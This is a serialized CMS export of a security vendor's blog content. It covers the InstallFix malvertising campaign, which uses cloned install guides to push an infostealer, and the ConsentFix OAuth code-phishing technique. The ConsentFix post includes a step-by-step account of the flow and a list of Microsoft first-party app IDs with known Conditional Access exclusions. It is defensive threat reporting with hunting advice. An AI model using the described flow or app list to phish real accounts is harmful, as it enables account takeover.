Type":865},{},[92739],{"type":961},{"data":92741,"content":92742,"nodeType":866},{},[92743],{"data":92744,"marks":92745,"value":23124,"nodeType":865},{},[92746],{"type":23042},{"data":92748,"content":92749,"nodeType":866},{},[92750],{"data":92751,"marks":92752,"value":23132,"nodeType":865},{},[92753],{"type":23042},{"data":92755,"content":92756,"nodeType":866},{},[92757],{"data":92758,"marks":92759,"value":23140,"nodeType":865},{},[92760],{"type":23042},{"data":92762,"content":92763,"nodeType":866},{},[92764],{"data":92765,"marks":92766,"value":23148,"nodeType":865},{},[92767],{"type":23042},{"data":92769,"content":92770,"nodeType":866},{},[92771],{"data":92772,"marks":92773,"value":23156,"nodeType":865},{},[92774],{"type":23042},{"data":92776,"content":92777,"nodeType":866},{},[92778],{"data":92779,"marks":92780,"value":23164,"nodeType":865},{},[92781],{"type":23042},{"data":92783,"content":92784,"nodeType":866},{},[92785,92788],{"data":92786,"marks":92787,"value":23064,"nodeType":865},{},[],{"data":92789,"marks":92790,"value":23175,"nodeType":865},{},[92791],{"type":961},{"data":92793,"content":92794,"nodeType":866},{},[92795],{"data":92796,"marks":92797,"value":23124,"nodeType":865},{},[92798],{"type":23042},{"data":92800,"content":92801,"nodeType":866},{},[92802],{"data":92803,"marks":92804,"value":23190,"nodeType":865},{},[92805],{"type":23042},{"entries":92807},{"hyperlink":92808,"inline":92809,"block":92810},[],[],[92811,92830,92864,92868,92874,92879,92884,92890,92897,92939,92942,92963,93005],{"sys":92812,"__typename":9270,"content":92813,"name":92829,"title":59},{"id":22194},{"json":92814},{"nodeType":1739,"data":92815,"content":92816},{},[92817],{"nodeType":866,"data":92818,"content":92819},{},[92820,92825],{"nodeType":865,"value":92821,"marks":92822,"data":92824},"Update March 16:",[92823],{"type":961},{},{"nodeType":865,"value":92826,"marks":92827,"data":92828}," We've identified a number of additional InstallFix pages targeting both the Claude Code docs page (as opposed to the quickstart guide) and NotebookLM, a research and note taking tool from Google. New IoCs have been added accordingly, but this campaign is moving very quickly, so the list won't stay up to date for long. ",[],{},"installfix insight box 5",{"sys":92831,"__typename":9270,"content":92832,"name":92863,"title":59},{"id":22237},{"json":92833},{"data":92834,"content":92835,"nodeType":1739},{},[92836,92856],{"data":92837,"content":92838,"nodeType":866},{},[92839,92843,92852],{"data":92840,"marks":92841,"value":92842,"nodeType":865},{},[],"Feeling *Fix fatigue? Us too. But we felt the naming appropriate to indicate that this is part of the same family of techniques. ClickFix has become synonymous with ",{"data":92844,"content":92846,"nodeType":882},{"uri":92845},"https://attack.mitre.org/techniques/T1204/004/",[92847],{"data":92848,"marks":92849,"value":92851,"nodeType":865},{},[92850],{"type":997},"Malicious Copy and Paste",{"data":92853,"marks":92854,"value":92855,"nodeType":865},{},[],", even though most lures haven’t been related to “fixing” anything for a while now. The user action is essentially the same, just the context of the lure is different. ",{"data":92857,"content":92858,"nodeType":866},{},[92859],{"data":92860,"marks":92861,"value":92862,"nodeType":865},{},[],"But while traditional ClickFix attacks need to manufacture a reason for the user to run a command: a fake CAPTCHA, a fabricated error message, a bogus system prompt — InstallFix doesn't need any of that. The pretext is simply the user wanting to install legit software.","installfix insight box 3",{"sys":92865,"__typename":12453,"title":92866,"arcadeDemoUrl":92867,"playText":84951},{"id":22310},"InstallFix clickthrough demo","https://demo.arcade.software/w9lLXrpwl5E19eQMEcPb?embed",{"sys":92869,"__typename":1747,"title":92870,"caption":92870,"layoutMode":59,"file":92871},{"id":22316},"Comparison of the legit page and install commands versus a malicious clone",{"url":92872,"width":1759,"height":92873},"https://images.ctfassets.net/y1cdw1ablpvd/27TYctONO1xi4dAh0lBeYS/36d88361bbb6568410af6d95b829b4d8/image4.png",588,{"sys":92875,"__typename":1747,"title":92876,"caption":92876,"layoutMode":59,"file":92877},{"id":22329},"When interacting with some of the detected pages, the user is redirected back to the legitimate site, lowering suspicion",{"url":92878,"width":66171,"height":18187},"https://images.ctfassets.net/y1cdw1ablpvd/17m5qsbzkBXFHumXDG8Kur/50d42f3c42092cba3082c4221a0857b0/image1.gif",{"sys":92880,"__typename":1747,"title":92881,"caption":59,"layoutMode":59,"file":92882},{"id":22349},"Cloned page 1",{"url":92883,"width":1759,"height":21387},"https://images.ctfassets.net/y1cdw1ablpvd/3ymf2ZJNmWE0U09oOQktzj/74984e9a094f01df4bcb661e23d58992/image2.png",{"sys":92885,"__typename":1747,"title":92886,"caption":59,"layoutMode":59,"file":92887},{"id":22355},"Cloned page lure 2",{"url":92888,"width":1759,"height":92889},"https://images.ctfassets.net/y1cdw1ablpvd/YbK5GVyftUS5G09jmdxSG/cc4c2cca40f873879d69371eab526b56/image3.png",1107,{"sys":92891,"__typename":1747,"title":92892,"caption":92893,"layoutMode":59,"file":92894},{"id":22361},"Lure 3","Google Search sponsored results for Claude Code cloned pages",{"url":92895,"width":70088,"height":92896},"https://images.ctfassets.net/y1cdw1ablpvd/3sLwOnpET892xdFyvBtzfn/956963620a9cec4bafd3b3a63f0426b0/image5.png",903,{"sys":92898,"__typename":9270,"content":92899,"name":92938,"title":59},{"id":22367},{"json":92900},{"nodeType":1739,"data":92901,"content":92902},{},[92903],{"nodeType":866,"data":92904,"content":92905},{},[92906,92910,92918,92922,92929,92933],{"nodeType":865,"value":92907,"marks":92908,"data":92909},"Malvertising is an extremely prevalent distribution method ",[],{},{"nodeType":882,"data":92911,"content":92912},{"uri":13433},[92913],{"nodeType":865,"value":92914,"marks":92915,"data":92917},"we've seen used extensively",[92916],{"type":997},{},{"nodeType":865,"value":92919,"marks":92920,"data":92921}," to distribute both phishing payloads and ClickFix-style lures (including the ",[],{},{"nodeType":882,"data":92923,"content":92924},{"uri":11102},[92925],{"nodeType":865,"value":11095,"marks":92926,"data":92928},[92927],{"type":997},{},{"nodeType":865,"value":92930,"marks":92931,"data":92932}," campaign we uncovered last year). ",[],{},{"nodeType":865,"value":92934,"marks":92935,"data":92937},"In fact, 4 in 5 ClickFix lures we intercept are accessed from search engines.",[92936],{"type":961},{},"installfix insight box 1",{"sys":92940,"__typename":5631,"type":5632,"ctaText":92941,"buttonLabel":151,"buttonColour":5635,"buttonUrl":27},{"id":22411},"Read more about stealthy attack delivery and techniques in our new report, analysing the different browser-based techniques behind in-the-wild breaches in 2026.",{"sys":92943,"__typename":9270,"content":92944,"name":92962,"title":59},{"id":22486},{"json":92945},{"nodeType":1739,"data":92946,"content":92947},{},[92948,92955],{"nodeType":866,"data":92949,"content":92950},{},[92951],{"nodeType":865,"value":92952,"marks":92953,"data":92954},"Amatera is a relatively new infostealer used by cybercriminals to steal sensitive data, such as browser saved passwords, cookies, session tokens, and general system information. It started appearing publicly around 2025 and is considered an evolution of an older malware family called ACR Stealer, and is sold via subscription to criminal operators.",[],{},{"nodeType":866,"data":92956,"content":92957},{},[92958],{"nodeType":865,"value":92959,"marks":92960,"data":92961},"The malware uses various techniques designed to bypass AV/EDR, including direct NTSockets for C2, dynamic API resolution with WoW64 Syscalls, and multi-stage infection chains with dynamic payload delivery. Amatera communicates with its C2 server using hardcoded IP addresses belonging to legitimate CDNs, making the traffic difficult to block without disrupting legitimate services.",[],{},"installfix insight box 2",{"sys":92964,"__typename":9270,"content":92965,"name":93004,"title":59},{"id":22499},{"json":92966},{"nodeType":1739,"data":92967,"content":92968},{},[92969],{"nodeType":866,"data":92970,"content":92971},{},[92972,92977,92981,92989,92992,93000],{"nodeType":865,"value":92973,"marks":92974,"data":92976},"Edit: ",[92975],{"type":961},{},{"nodeType":865,"value":92978,"marks":92979,"data":92980},"When investigating different domains, we found additional research that indicates a variety of similar payloads being distributed. Our primary focus here is on the scale of the campaign and the lure delivery technique rather than deep analysis of the malware itself. Check out ",[],{},{"nodeType":882,"data":92982,"content":92984},{"uri":92983},"https://medium.com/@maurice.fielenbach/paste-with-caution-how-a-fake-claude-code-installer-drops-a-fileless-implant-via-deserialization-a85068955c0a",[92985],{"nodeType":865,"value":92986,"marks":92987,"data":92988},"this detailed analysis for one such teardown",[],{},{"nodeType":865,"value":3892,"marks":92990,"data":92991},[],{},{"nodeType":882,"data":92993,"content":92995},{"uri":92994},"https://www.reddit.com/r/CyberSecurityAdvice/comments/1riq3zj/i_accidentally_ran_a_suspicious_curl_command_in/",[92996],{"nodeType":865,"value":92997,"marks":92998,"data":92999},"this Reddit thread",[],{},{"nodeType":865,"value":93001,"marks":93002,"data":93003}," for another example.",[],{},"installfix insight box 4",{"sys":93006,"__typename":12453,"title":93007,"arcadeDemoUrl":93008,"playText":12456},{"id":22657},"ClickFix attack evolution demo","https://demo.arcade.software/UhbkGxUUQC8xpS5z88sx?embed",{"items":93010},[],{},"InstallFix: Weaponizing malvertised install guides  ",{"items":93014},[93015,93831,94421],{"__typename":1788,"sys":93016,"content":93018,"title":93817,"synopsis":93818,"hashTags":59,"publishedDate":93819,"slug":93820,"tagsCollection":93821,"authorsCollection":93827},{"id":93017},"4jcVFrvGBtVXpKU3gDMaa2",{"json":93019},{"data":93020,"content":93021,"nodeType":1739},{},[93022,93040,93047,93053,93108,93115,93122,93125,93133,93140,93147,93198,93206,93213,93236,93243,93246,93254,93261,93268,93275,93282,93289,93296,93301,93309,93316,93335,93355,93358,93366,93373,93380,93387,93395,93414,93421,93426,93434,93454,93474,93587,93590,93598,93605,93612,93615,93623,93630,93637,93644,93711,93741,93744,93752,93758,93765,93772,93779,93805,93811],{"data":93023,"content":93024,"nodeType":866},{},[93025,93029,93036],{"data":93026,"marks":93027,"value":93028,"nodeType":865},{},[],"In December, the Push Security research team discovered and blocked a brand new attack technique that we coined ",{"data":93030,"content":93031,"nodeType":882},{"uri":11102},[93032],{"data":93033,"marks":93034,"value":11095,"nodeType":865},{},[93035],{"type":997},{"data":93037,"marks":93038,"value":93039,"nodeType":865},{},[],". This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. ",{"data":93041,"content":93042,"nodeType":866},{},[93043],{"data":93044,"marks":93045,"value":93046,"nodeType":865},{},[],"We saw this attack running across a large network of compromised websites that attackers were injecting the malicious payload into, forming a large-scale campaign that was detected across multiple customer estates. ",{"data":93048,"content":93052,"nodeType":925},{"target":93049},{"sys":93050},{"id":93051,"type":922,"linkType":923},"603MWDqc9NsqkklIkfGNZN",[],{"data":93054,"content":93055,"nodeType":866},{},[93056,93060,93069,93073,93081,93084,93093,93096,93104],{"data":93057,"marks":93058,"value":93059,"nodeType":865},{},[],"ConsentFix got a pretty awesome response from the community in a very short space of time. Within days, ",{"data":93061,"content":93063,"nodeType":882},{"uri":93062},"https://www.youtube.com/watch?v=AAiiIY-Soak",[93064],{"data":93065,"marks":93066,"value":93068,"nodeType":865},{},[93067],{"type":997},"John Hammond shared a new and improved version of the technique",{"data":93070,"marks":93071,"value":93072,"nodeType":865},{},[]," that he’d spun up in his own lab, while security researchers from ",{"data":93074,"content":93076,"nodeType":882},{"uri":93075},"https://medium.com/@nitashathakur/consentfix-poc-how-the-attack-works-end-to-end-4f8b656f977d",[93077],{"data":93078,"marks":93079,"value":29673,"nodeType":865},{},[93080],{"type":997},{"data":93082,"marks":93083,"value":2186,"nodeType":865},{},[],{"data":93085,"content":93087,"nodeType":882},{"uri":93086},"https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix",[93088],{"data":93089,"marks":93090,"value":93092,"nodeType":865},{},[93091],{"type":997},"Glueck Kanja",{"data":93094,"marks":93095,"value":3892,"nodeType":865},{},[],{"data":93097,"content":93098,"nodeType":882},{"uri":69855},[93099],{"data":93100,"marks":93101,"value":93103,"nodeType":865},{},[93102],{"type":997},"other individual contributors",{"data":93105,"marks":93106,"value":93107,"nodeType":865},{},[]," all shared analysis and recommendations. ",{"data":93109,"content":93110,"nodeType":866},{},[93111],{"data":93112,"marks":93113,"value":93114,"nodeType":865},{},[],"In this blog, we’re sharing some new insights on the campaign, pulling together some of the top recommendations and resources shared across the community, and predicting what the future holds for this novel technique as it quickly enters the mainstream. ",{"data":93116,"content":93117,"nodeType":866},{},[93118],{"data":93119,"marks":93120,"value":93121,"nodeType":865},{},[],"First though, let’s quickly recap what ConsentFix is and how it works. ",{"data":93123,"content":93124,"nodeType":953},{},[],{"data":93126,"content":93127,"nodeType":963},{},[93128],{"data":93129,"marks":93130,"value":93132,"nodeType":865},{},[93131],{"type":961},"ConsentFix 101",{"data":93134,"content":93135,"nodeType":866},{},[93136],{"data":93137,"marks":93138,"value":93139,"nodeType":865},{},[],"ConsentFix is an attack technique that prompts the victim to share an OAuth authorization code with an attacker via a phishing page. The attacker then enters this code into a target application on their own device in order to complete the authorization handshake and take over the account. ",{"data":93141,"content":93142,"nodeType":866},{},[93143],{"data":93144,"marks":93145,"value":93146,"nodeType":865},{},[],"By hijacking OAuth, attackers can effectively bypass identity-layer controls like passwords and MFA — even phishing resistant authentication methods like passkeys have no impact on this attack, because it sidesteps the authentication process altogether. ",{"data":93148,"content":93149,"nodeType":866},{},[93150,93154,93162,93165,93172,93176,93183,93187,93195],{"data":93151,"marks":93152,"value":93153,"nodeType":865},{},[],"OAuth abuse attacks are not new. Techniques like ",{"data":93155,"content":93157,"nodeType":882},{"uri":93156},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/consent_phishing/description.md",[93158],{"data":93159,"marks":93160,"value":70557,"nodeType":865},{},[93161],{"type":997},{"data":93163,"marks":93164,"value":8756,"nodeType":865},{},[],{"data":93166,"content":93167,"nodeType":882},{"uri":29482},[93168],{"data":93169,"marks":93170,"value":29100,"nodeType":865},{},[93171],{"type":997},{"data":93173,"marks":93174,"value":93175,"nodeType":865},{},[]," have been around for some time. However, these mainly focus on connecting your primary workspace account (e.g. Microsoft, Google, etc.) to a fraudulent, attacker-controlled application. But this is becoming increasingly difficult in core enterprise cloud environments like Azure due to ",{"data":93177,"content":93178,"nodeType":882},{"uri":70575},[93179],{"data":93180,"marks":93181,"value":70581,"nodeType":865},{},[93182],{"type":997},{"data":93184,"marks":93185,"value":93186,"nodeType":865},{},[],". That said, device code phishing still featured prominently in the recent ",{"data":93188,"content":93189,"nodeType":882},{"uri":8759},[93190],{"data":93191,"marks":93192,"value":93194,"nodeType":865},{},[93193],{"type":997},"high-profile Salesforce attacks in 2025",{"data":93196,"marks":93197,"value":1048,"nodeType":865},{},[],{"data":93199,"content":93200,"nodeType":1458},{},[93201],{"data":93202,"marks":93203,"value":93205,"nodeType":865},{},[93204],{"type":961},"What makes ConsentFix so dangerous?",{"data":93207,"content":93208,"nodeType":866},{},[93209],{"data":93210,"marks":93211,"value":93212,"nodeType":865},{},[],"Unlike typical OAuth attacks, the novel ConsentFix approach enabled the attacker to target different types of application to what they usually go after — with big implications for detection and response. In this case, the attacker:",{"data":93214,"content":93215,"nodeType":1049},{},[93216,93226],{"data":93217,"content":93218,"nodeType":1003},{},[93219],{"data":93220,"content":93221,"nodeType":866},{},[93222],{"data":93223,"marks":93224,"value":93225,"nodeType":865},{},[],"Specifically targeted first-party Microsoft apps that cannot be restricted in the same way as third-party applications, and are pre-consented in every tenant (meaning users can authenticate to them without admin approval). ",{"data":93227,"content":93228,"nodeType":1003},{},[93229],{"data":93230,"content":93231,"nodeType":866},{},[93232],{"data":93233,"marks":93234,"value":93235,"nodeType":865},{},[],"Leveraged legacy scopes that are outside the scope of default logging to evade detection, and targeted scopes with known Conditional Access policy exclusions.",{"data":93237,"content":93238,"nodeType":866},{},[93239],{"data":93240,"marks":93241,"value":93242,"nodeType":865},{},[],"This means that default controls you’d expect to block malicious OAuth grants don’t apply, you may not have logging enabled to detect it if it did happen to you, and to top it off, conditional access policy exclusions mean that many organizations’ expected controls don’t work as intended in this case. ",{"data":93244,"content":93245,"nodeType":953},{},[],{"data":93247,"content":93248,"nodeType":963},{},[93249],{"data":93250,"marks":93251,"value":93253,"nodeType":865},{},[93252],{"type":961},"ConsentFix campaign recap",{"data":93255,"content":93256,"nodeType":866},{},[93257],{"data":93258,"marks":93259,"value":93260,"nodeType":865},{},[],"Let’s quickly recap how the ConsentFix campaign was implemented. ",{"data":93262,"content":93263,"nodeType":866},{},[93264],{"data":93265,"marks":93266,"value":93267,"nodeType":865},{},[],"The victim is served a page which requires that they verify that they are human by pasting a URL into the phishing page.",{"data":93269,"content":93270,"nodeType":866},{},[93271],{"data":93272,"marks":93273,"value":93274,"nodeType":865},{},[],"Clicking the “Sign In” button opens a legitimate Microsoft login page. If the user is already logged in (which they likely are if working in their normal browser) their account information is already pre-populated and they won’t need to authenticate again. ",{"data":93276,"content":93277,"nodeType":866},{},[93278],{"data":93279,"marks":93280,"value":93281,"nodeType":865},{},[],"Selecting their account redirects them to a localhost URL containing an OAuth authorization code — this is what they then post into the original phishing page to complete the attack. ",{"data":93283,"content":93284,"nodeType":866},{},[93285],{"data":93286,"marks":93287,"value":93288,"nodeType":865},{},[],"Once the attacker gets the URL, they can exchange it for an access token or refresh token for the particular application being targeted — in this case, Azure CLI.",{"data":93290,"content":93291,"nodeType":866},{},[93292],{"data":93293,"marks":93294,"value":93295,"nodeType":865},{},[],"The TL;DR is that the attacker is manually completing an authorization flow that happens when a user logs into Azure CLI — a a command line client that provides you with the ability to easily manage your Azure AD / Entra ID environment. Except in this case, they’re taking the victim’s information to log in on the attacker’s device instead. ",{"data":93297,"content":93300,"nodeType":925},{"target":93298},{"sys":93299},{"id":70414,"type":922,"linkType":923},[],{"data":93302,"content":93303,"nodeType":1458},{},[93304],{"data":93305,"marks":93306,"value":93308,"nodeType":865},{},[93307],{"type":961},"Latest campaign details",{"data":93310,"content":93311,"nodeType":866},{},[93312],{"data":93313,"marks":93314,"value":93315,"nodeType":865},{},[],"Since we shared our blog post, we’ve had a number of additional details come to light about the campaign, which we’ve continued to track. ",{"data":93317,"content":93318,"nodeType":866},{},[93319,93323,93331],{"data":93320,"marks":93321,"value":93322,"nodeType":865},{},[],"It appears to be linked to Russian state-affiliated APT29, as corroborated by threat researchers we’ve been collaborating with. This is consistent with the ",{"data":93324,"content":93325,"nodeType":882},{"uri":11102},[93326],{"data":93327,"marks":93328,"value":93330,"nodeType":865},{},[93329],{"type":997},"stealthy tactics we observed",{"data":93332,"marks":93333,"value":93334,"nodeType":865},{},[],", which go far beyond the run-of-the-mill detection evasion techniques we see used in criminal phishing campaigns. ",{"data":93336,"content":93337,"nodeType":866},{},[93338,93342,93351],{"data":93339,"marks":93340,"value":93341,"nodeType":865},{},[],"It shares many similarities with, and appears to be an evolution of, ",{"data":93343,"content":93345,"nodeType":882},{"uri":93344},"https://www.volexity.com/blog/2025/12/04/dangerous-invitations-russian-threat-actor-spoofs-european-security-events-in-targeted-phishing-attacks/",[93346],{"data":93347,"marks":93348,"value":93350,"nodeType":865},{},[93349],{"type":997},"this Russia-affiliated campaign identified by Volexity",{"data":93352,"marks":93353,"value":93354,"nodeType":865},{},[]," that featured a manual version of the attack — where they victim was social engineered via email into opening the Microsoft URL, copying the localhost response, and sending it back to the attacker via email. ",{"data":93356,"content":93357,"nodeType":953},{},[],{"data":93359,"content":93360,"nodeType":963},{},[93361],{"data":93362,"marks":93363,"value":93365,"nodeType":865},{},[93364],{"type":961},"Top contributions from the community",{"data":93367,"content":93368,"nodeType":866},{},[93369],{"data":93370,"marks":93371,"value":93372,"nodeType":865},{},[],"As we mentioned earlier, the community response to ConsentFix has been incredible. ",{"data":93374,"content":93375,"nodeType":866},{},[93376],{"data":93377,"marks":93378,"value":93379,"nodeType":865},{},[],"As ever, you get a lot of vendors covering the attack technique with “install our product” as the recommendation. This is to be expected, but it’s misleading when some of these vendors are pushing EDR products that would have absolutely no way of detecting or blocking the attack. ",{"data":93381,"content":93382,"nodeType":866},{},[93383],{"data":93384,"marks":93385,"value":93386,"nodeType":865},{},[],"But cutting through the marketing, a lot of really great resources and recommendations were shared. ",{"data":93388,"content":93389,"nodeType":1458},{},[93390],{"data":93391,"marks":93392,"value":93394,"nodeType":865},{},[93393],{"type":961},"V2.0 released by John Hammond",{"data":93396,"content":93397,"nodeType":866},{},[93398,93402,93410],{"data":93399,"marks":93400,"value":93401,"nodeType":865},{},[],"Within days, John Hammond ",{"data":93403,"content":93404,"nodeType":882},{"uri":93062},[93405],{"data":93406,"marks":93407,"value":93409,"nodeType":865},{},[93408],{"type":997},"posted about ConsentFix on his Youtube channel",{"data":93411,"marks":93412,"value":93413,"nodeType":865},{},[],", where he showed off a slick improvement on the ConsentFix implementation used by attackers. In his version, the URL containing the Microsoft authorization code was generated in a pop-up browser window that could simply be drag-and-dropped into the phishing page. ",{"data":93415,"content":93416,"nodeType":866},{},[93417],{"data":93418,"marks":93419,"value":93420,"nodeType":865},{},[],"This implementation is way smoother, making it much more likely that a victim would fall for it. And this took a matter of days… ",{"data":93422,"content":93425,"nodeType":925},{"target":93423},{"sys":93424},{"id":69516,"type":922,"linkType":923},[],{"data":93427,"content":93428,"nodeType":1458},{},[93429],{"data":93430,"marks":93431,"value":93433,"nodeType":865},{},[93432],{"type":961},"Additional vulnerable first-party apps identified",{"data":93435,"content":93436,"nodeType":866},{},[93437,93441,93450],{"data":93438,"marks":93439,"value":93440,"nodeType":865},{},[],"Fabian Bader and Dirk-jan Mollema from Glueck Kanja have ",{"data":93442,"content":93444,"nodeType":882},{"uri":93443},"https://entrascopes.com/?bypass=true&authcodeFix=true",[93445],{"data":93446,"marks":93447,"value":93449,"nodeType":865},{},[93448],{"type":997},"shared a great resource",{"data":93451,"marks":93452,"value":93453,"nodeType":865},{},[]," on wider first-party apps that are vulnerable to ConsentFix. ",{"data":93455,"content":93456,"nodeType":866},{},[93457,93461,93470],{"data":93458,"marks":93459,"value":93460,"nodeType":865},{},[],"In total, there are 11 apps vulnerable to ConsentFix that also have known ",{"data":93462,"content":93464,"nodeType":882},{"uri":93463},"https://cloudbrothers.info/conditional-access-bypasses/#documented-bypasses",[93465],{"data":93466,"marks":93467,"value":93469,"nodeType":865},{},[93468],{"type":997},"Conditional Access exclusions",{"data":93471,"marks":93472,"value":93473,"nodeType":865},{},[]," (either for the app generally, or when specific scopes are requested for the app):",{"data":93475,"content":93476,"nodeType":1049},{},[93477,93487,93497,93507,93517,93527,93537,93547,93557,93567,93577],{"data":93478,"content":93479,"nodeType":1003},{},[93480],{"data":93481,"content":93482,"nodeType":866},{},[93483],{"data":93484,"marks":93485,"value":93486,"nodeType":865},{},[],"Microsoft Azure CLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46",{"data":93488,"content":93489,"nodeType":1003},{},[93490],{"data":93491,"content":93492,"nodeType":866},{},[93493],{"data":93494,"marks":93495,"value":93496,"nodeType":865},{},[],"Microsoft Azure PowerShell: 1950a258-227b-4e31-a9cf-717495945fc2",{"data":93498,"content":93499,"nodeType":1003},{},[93500],{"data":93501,"content":93502,"nodeType":866},{},[93503],{"data":93504,"marks":93505,"value":93506,"nodeType":865},{},[],"Microsoft Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264",{"data":93508,"content":93509,"nodeType":1003},{},[93510],{"data":93511,"content":93512,"nodeType":866},{},[93513],{"data":93514,"marks":93515,"value":93516,"nodeType":865},{},[],"Microsoft Whiteboard Client: 57336123-6e14-4acc-8dcf-287b6088aa28",{"data":93518,"content":93519,"nodeType":1003},{},[93520],{"data":93521,"content":93522,"nodeType":866},{},[93523],{"data":93524,"marks":93525,"value":93526,"nodeType":865},{},[],"Microsoft Flow Mobile PROD-GCCH-CN: 57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0",{"data":93528,"content":93529,"nodeType":1003},{},[93530],{"data":93531,"content":93532,"nodeType":866},{},[93533],{"data":93534,"marks":93535,"value":93536,"nodeType":865},{},[],"Enterprise Roaming and Backup: 60c8bde5-3167-4f92-8fdb-059f6176dc0",{"data":93538,"content":93539,"nodeType":1003},{},[93540],{"data":93541,"content":93542,"nodeType":866},{},[93543],{"data":93544,"marks":93545,"value":93546,"nodeType":865},{},[],"Visual Studio: 872cd9fa-d31f-45e0-9eab-6e460a02d1f1",{"data":93548,"content":93549,"nodeType":1003},{},[93550],{"data":93551,"content":93552,"nodeType":866},{},[93553],{"data":93554,"marks":93555,"value":93556,"nodeType":865},{},[],"Aadrm Admin Powershell: 90f610bf-206d-4950-b61d-37fa6fd1b224",{"data":93558,"content":93559,"nodeType":1003},{},[93560],{"data":93561,"content":93562,"nodeType":866},{},[93563],{"data":93564,"marks":93565,"value":93566,"nodeType":865},{},[],"Microsoft SharePoint Online Management Shell: 9bc3ab49-b65d-410a-85ad-de819febfddc",{"data":93568,"content":93569,"nodeType":1003},{},[93570],{"data":93571,"content":93572,"nodeType":866},{},[93573],{"data":93574,"marks":93575,"value":93576,"nodeType":865},{},[],"Microsoft Power Query for Excel: a672d62c-fc7b-4e81-a576-e60dc46e951d",{"data":93578,"content":93579,"nodeType":1003},{},[93580],{"data":93581,"content":93582,"nodeType":866},{},[93583],{"data":93584,"marks":93585,"value":93586,"nodeType":865},{},[],"Visual Studio Code: aebc6443-996d-45c2-90f0-388ff96faa56",{"data":93588,"content":93589,"nodeType":953},{},[],{"data":93591,"content":93592,"nodeType":963},{},[93593],{"data":93594,"marks":93595,"value":93597,"nodeType":865},{},[93596],{"type":961},"Predictions for ConsentFix",{"data":93599,"content":93600,"nodeType":866},{},[93601],{"data":93602,"marks":93603,"value":93604,"nodeType":865},{},[],"Based on the speed at which new iterations on the ConsentFix technique were shared by security researchers, and the breadth of apps and possible scopes that can be leveraged, both red teams and criminals will inevitably adopt ConsentFix into their arsenal of TTPs in the near future. It is likely that new ConsentFix variants will emerge imminently (if not already in circulation). ",{"data":93606,"content":93607,"nodeType":866},{},[93608],{"data":93609,"marks":93610,"value":93611,"nodeType":865},{},[],"All security teams responsible for protecting Microsoft environments should ensure that monitoring controls and mitigations are put in place as a matter of high priority. ",{"data":93613,"content":93614,"nodeType":953},{},[],{"data":93616,"content":93617,"nodeType":963},{},[93618],{"data":93619,"marks":93620,"value":93622,"nodeType":865},{},[93621],{"type":961},"Updated recommendations for security teams",{"data":93624,"content":93625,"nodeType":866},{},[93626],{"data":93627,"marks":93628,"value":93629,"nodeType":865},{},[],"As an entirely browser-native attack technique, many traditional security tools and data sources are of limited use when it comes to detecting or pre-emptively blocking this attack. At the same time, the attack exploits default Microsoft security configs to evade both prevention and detection controls.",{"data":93631,"content":93632,"nodeType":866},{},[93633],{"data":93634,"marks":93635,"value":93636,"nodeType":865},{},[],"To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. ",{"data":93638,"content":93639,"nodeType":866},{},[93640],{"data":93641,"marks":93642,"value":93643,"nodeType":865},{},[],"For organizations relying on Microsoft logging as the sole line of defense against this attack, there are some new recommendations to add to the list thanks to the community response: ",{"data":93645,"content":93646,"nodeType":1049},{},[93647,93670,93680,93701],{"data":93648,"content":93649,"nodeType":1003},{},[93650],{"data":93651,"content":93652,"nodeType":866},{},[93653,93657,93666],{"data":93654,"marks":93655,"value":93656,"nodeType":865},{},[],"Ensure that logging for the deprecated ",{"data":93658,"content":93660,"nodeType":882},{"uri":93659},"https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/aadgraphactivitylogs",[93661],{"data":93662,"marks":93663,"value":93665,"nodeType":865},{},[93664],{"type":997},"AADGraphActivityLogs",{"data":93667,"marks":93668,"value":93669,"nodeType":865},{},[]," is enabled.",{"data":93671,"content":93672,"nodeType":1003},{},[93673],{"data":93674,"content":93675,"nodeType":866},{},[93676],{"data":93677,"marks":93678,"value":93679,"nodeType":865},{},[],"Hunt in logs for the Application IDs highlighted above, along with the Resource IDs for Windows Azure Active Directory (00000002-0000-0000-c000-000000000000) and Microsoft Intune Checkin (26a4ae64-5862-427f-a9b0-044e62572a4f)",{"data":93681,"content":93682,"nodeType":1003},{},[93683],{"data":93684,"content":93685,"nodeType":866},{},[93686,93689,93697],{"data":93687,"marks":93688,"value":21,"nodeType":865},{},[],{"data":93690,"content":93691,"nodeType":882},{"uri":69855},[93692],{"data":93693,"marks":93694,"value":93696,"nodeType":865},{},[93695],{"type":997},"Create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them",{"data":93698,"marks":93699,"value":93700,"nodeType":865},{},[]," to reduce the attack surface of users that can be phished with this method.",{"data":93702,"content":93703,"nodeType":1003},{},[93704],{"data":93705,"content":93706,"nodeType":866},{},[93707],{"data":93708,"marks":93709,"value":93710,"nodeType":865},{},[],"Block access to CLI tools via Conditional Access policy and issue exclusions for authorized users/groups. ",{"data":93712,"content":93713,"nodeType":866},{},[93714,93718,93727,93731,93738],{"data":93715,"marks":93716,"value":93717,"nodeType":865},{},[],"Additional resources that may be of use include community-created ",{"data":93719,"content":93721,"nodeType":882},{"uri":93720},"https://github.com/elastic/detection-rules/pull/5485",[93722],{"data":93723,"marks":93724,"value":93726,"nodeType":865},{},[93725],{"type":997},"Elastic detection rules",{"data":93728,"marks":93729,"value":93730,"nodeType":865},{},[]," for ConsentFix and further mitigation and hunting guidance from ",{"data":93732,"content":93733,"nodeType":882},{"uri":93086},[93734],{"data":93735,"marks":93736,"value":93092,"nodeType":865},{},[93737],{"type":997},{"data":93739,"marks":93740,"value":22525,"nodeType":865},{},[],{"data":93742,"content":93743,"nodeType":953},{},[],{"data":93745,"content":93746,"nodeType":963},{},[93747],{"data":93748,"marks":93749,"value":93751,"nodeType":865},{},[93750],{"type":961},"Learn more about Push Security",{"data":93753,"content":93754,"nodeType":866},{},[93755],{"data":93756,"marks":93757,"value":70985,"nodeType":865},{},[],{"data":93759,"content":93760,"nodeType":866},{},[93761],{"data":93762,"marks":93763,"value":93764,"nodeType":865},{},[],"Push tackles browser-based attacks using behavioral threat detection controls, powered by deep browser telemetry, to provide broad detection and blocking capabilities against attacks happening in the browser. This means analyzing the 